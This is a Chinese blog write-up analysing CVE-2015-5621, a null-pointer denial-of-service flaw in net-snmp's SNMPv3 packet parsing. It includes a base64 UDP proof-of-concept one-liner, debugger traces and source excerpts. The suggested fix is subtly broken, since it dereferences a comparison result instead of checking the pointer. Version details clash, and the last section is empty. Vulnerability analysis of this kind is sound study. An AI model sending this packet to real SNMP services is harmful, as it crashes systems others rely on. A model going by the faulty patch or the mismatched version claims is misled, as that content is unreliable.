PWN April 02, 2021

CVE-2015-5621-net-snmp之空指针错误Dos攻击

Words count 26k Reading time 24 mins. Read count 0

一、net-snmp简介

SNMP协议是个成熟的网络管理协议,可以使用在远程系统中检索信息和设定值,在传输层它使用的是UDP协议,而net-snmp是个开放源代码的snmp协议实现。支持v1,v2c还有v3,并可以使用ipv4和ipv6,也包含了snmp trap的所有相关实现。net-snmp包含了snmp实用程序集和完整的snmp开发库。可以理解成net-snmp就是对snmp的封装,可以实现很多snmp的功能。

二、漏洞描述

CVE-2015-5621是15年爆出来的cve漏洞,影响5.8之前的版本,主要是由于udp传输过程中snmp的错误解析方式导致的空指针错误,从而造成dos攻击。

三、环境搭建

为了方便复现,我们需要在ubuntu16.04中下载源码编译安装好net-snmp

源码地址:

1
https://sourceforge.net/projects/net-snmp/files/net-snmp/5.7.2/net-snmp-5.7.2.tar.gz/download

解压并进入文件夹,依次运行下面的shell命令,遇到暂停时,直接回车即可

1
2
3
4
5
6
#配置文件设置
./configure --with-default-snmp-version="3" --with-sys-contact="@@no.where" --with-sys-location="Unknown" --with-logfile="/var/log/snmpd.log" --with-persistent-directory="/var/net-snmp"
#编译
make
#安装
make install

安装成功后,可以在/usr/local/sbin目录下找到我们的二进制服务器端程序snmpd,root权限下copy出来。

四、动态调试+静态分析研究漏洞成因

看下官网对于这个cve的解析以及找到相应的poc,具体网址如下:

1
http://dumpco.re/blog/net-snmp-5.7.3-remote-dos

image-20210402161317119

可以看到给出了poc和相应的报错信息,提取poc:

1
echo -n "MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBwbwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBAChWQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEHCobetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111

先挂载服务器:

1
2
#挂载服务
snmpd -f 127.0.0.1:1223

挂载上去后,udp发送poc过去(端口改成1223),看下效果:

image-20210402161610359

果然触发了段错误,先动态调试看下哪里报错:

image-20210402161913014

然后输入我们的poc看下crash的地方:

image-20210402162007531

发现是rdx为空指针,导致取值报错,bt命令看下函数回溯栈:

image-20210402162122631

可以看到触发最后的crash是snmp_oid_compare函数,而且是在snmp_api.c的源码中,整理执行流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
snmpd.c: main(int argc, char *argv[])

snmpd.c:receive();

snmp_api.c:snmp_read2(&readfds);

snmp_api.c:snmp_sess_read2((void *) slp, fdset);

snmp_api.c:rc = _sess_read(sessp, fdset);

snmp_api.c:rc = _sess_process_packet(sessp, sp, isp, transport, opaque,olength, rxbuf, length);

snmp_api.c:ret = snmp_parse(sessp, sp, pdu, packetptr, length);

snmp_api.c:rc = _snmp_parse(sessp, pss, pdu, data, length);

snmp_api.c:rc = snmp_oid_compare(const oid *in_name1, size_t len1, const oid *in_name2, size_t len2);

现在需要定位到具体的调用函数中,因为这个snmp_oid_compare是库函数,程序中肯定是不存在的(动态链接的程序),所以我们需要找到链接的动态库,ldd命令看下都链接了什么库:

image-20210402162732933

这么多库,看下还是得回到程序中用vmmap看下内存布局:

image-20210402162823741

报错的信息是这行代码:

1
0x7ffff74682ef <snmp_oid_compare+15>    mov    r8, qword ptr [rdx]

这个地址所在的区域是:

1
0x7ffff742a000     0x7ffff74d0000 r-xp    a6000 0      /usr/local/lib/libnetsnmp.so.30.0.2

所以可以知道库的位置,从根目录下copy提取出来并拖放到ida中分析:

image-20210402163050627

我们在安装包中找到相关的源码:

image-20210402163912606

根据这个目录跟踪到源代码调用函数_snmp_parse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int
_snmp_parse(void *sessp,
netsnmp_session * session,
netsnmp_pdu *pdu, u_char * data, size_t length)
{
............
DEBUGMSGTL(("snmpv3_contextid", "starting context ID discovery\n"));
/* ensure exactly one variable */
if (NULL != pdu->variables &&
NULL == pdu->variables->next_variable &&

/* if it's a GET, match it exactly */
((SNMP_MSG_GET == pdu->command &&
snmp_oid_compare(snmpEngineIDoid,//函数调用发生处
snmpEngineIDoid_len,
pdu->variables->name,
pdu->variables->name_length) == 0)
/* if it's a GETNEXT ensure it's less than the engineID oid */
||
(SNMP_MSG_GETNEXT == pdu->command &&
snmp_oid_compare(snmpEngineIDoid,
snmpEngineIDoid_len,
pdu->variables->name,
pdu->variables->name_length) > 0)
)) {

DEBUGMSGTL(("snmpv3_contextid",
" One correct variable found\n"));

/* Note: we're explictly not handling a GETBULK. Deal. */

...............

return result;
}

snmp_oid_compare函数的具体实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int
snmp_oid_compare(const oid * in_name1,
size_t len1, const oid * in_name2, size_t len2)
{
register int len;
register const oid *name1 = in_name1;
register const oid *name2 = in_name2;

/*
* len = minimum of len1 and len2
*/
if (len1 < len2)
len = len1;
else
len = len2;
/*
* find first non-matching OID
*/
while (len-- > 0) {
/*
* these must be done in seperate comparisons, since
* subtracting them and using that result has problems with
* subids > 2^31.
*/
if (*(name1) != *(name2)) { //空指针报错!!!因为name2=0
if (*(name1) < *(name2))
return -1;
return 1;
}
name1++;
name2++;
}
/*
* both OIDs equal up to length of shorter OID
*/
if (len1 < len2)
return -1;
if (len2 < len1)
return 1;
return 0;
}

现在有个疑惑就是poc是怎么恶意构造导致这个结果的?

通过udp发送了一堆16进制的报文过去,看似是没有什么问题的,那么我们在包解析的函数中下个断点看看:

image-20210402170244739

一路跟踪直到调用了包解析函数_snmp_parse:

image-20210402170223891

对比下源码并查看rdx寄存器的内存信息(堆地址为0x79a260):

image-20210402170403957

image-20210402170535385

我们再看看poc文件:

image-20210402165508308

可以知道*data就是我们发送过去的值,length就是数据包的长度,也就是说这个rdx参数是我们人为可控的,这就是为何我们通过恶意构造udp的数据包可以实现空指针段错误的原因所在!现在继续跟踪下造成空指针的原因,源码中是因为pdu->variables->name为空导致取值报错,现在看看哪里对它进行了赋值操作,回溯到上一层发现是在snmpv3_parse函数中,调用snmp_pdu_parse函数时,对pdu进行初始化时,跟下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int
snmp_pdu_parse(netsnmp_pdu *pdu, u_char * data, size_t * length)
{
u_char type;
u_char msg_type;
u_char *var_val;
int badtype = 0;
size_t len;
size_t four;
netsnmp_variable_list *vp = NULL; //variable列表
oid objid[MAX_OID_LEN];
...................
/*
* get each varBind sequence
*/
while ((int) *length > 0) { //variable数组
netsnmp_variable_list *vptemp;
vptemp = (netsnmp_variable_list *) malloc(sizeof(*vptemp));
if (NULL == vptemp) {
return -1;
}
if (NULL == vp) {
pdu->variables = vptemp;
} else {
vp->next_variable = vptemp;
}
vp = vptemp;

vp->next_variable = NULL;
vp->val.string = NULL;
vp->name_length = MAX_OID_LEN;
vp->name = NULL;//本身初始化为空
vp->index = 0;
vp->data = NULL;
vp->dataFreeHook = NULL;
DEBUGDUMPSECTION("recv", "VarBind");
data = snmp_parse_var_op(data, objid, &vp->name_length, &vp->type,
&vp->val_len, &var_val, length);
if (data == NULL)
return -1;
if (snmp_set_var_objid(vp, objid, vp->name_length))
return -1;

len = MAX_PACKET_LENGTH;
DEBUGDUMPHEADER("recv", "Value");
switch ((short) vp->type) {
...................
}
return badtype;
}

rdi是pdu,那么rsi就是data,我们动态跟踪下具体的情况:

image-20210402173955897

看下data的内存数据,data从0x79a2b5开始,也就是说从我们的输入中间获取

image-20210402174016562

继续跟踪内存:image-20210402174742901

这里还是用到了我们的数据,rdi就是data里面的内容

image-20210402175226076

最后跟踪到报没有OID的错,也就是数据包中不含有OID,所以variable的name是无法赋值的,这就是根本原因了。

五、漏洞修复

这个因为只是dos攻击,没有实际的攻击利用,感觉修补也比较简单,直接增加代码if判断name2是否为空,空则直接return -1即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while (len-- > 0) {
/*
* these must be done in seperate comparisons, since
* subtracting them and using that result has problems with
* subids > 2^31.
*/
+ if(*(name2==0)||*(name1==0))
+ {
+ return -1;
+ }
if (*(name1) != *(name2)) {
if (*(name1) < *(name2))
return -1;
return 1;
}
name1++;
name2++;
}

六、片段测试的尝试

0%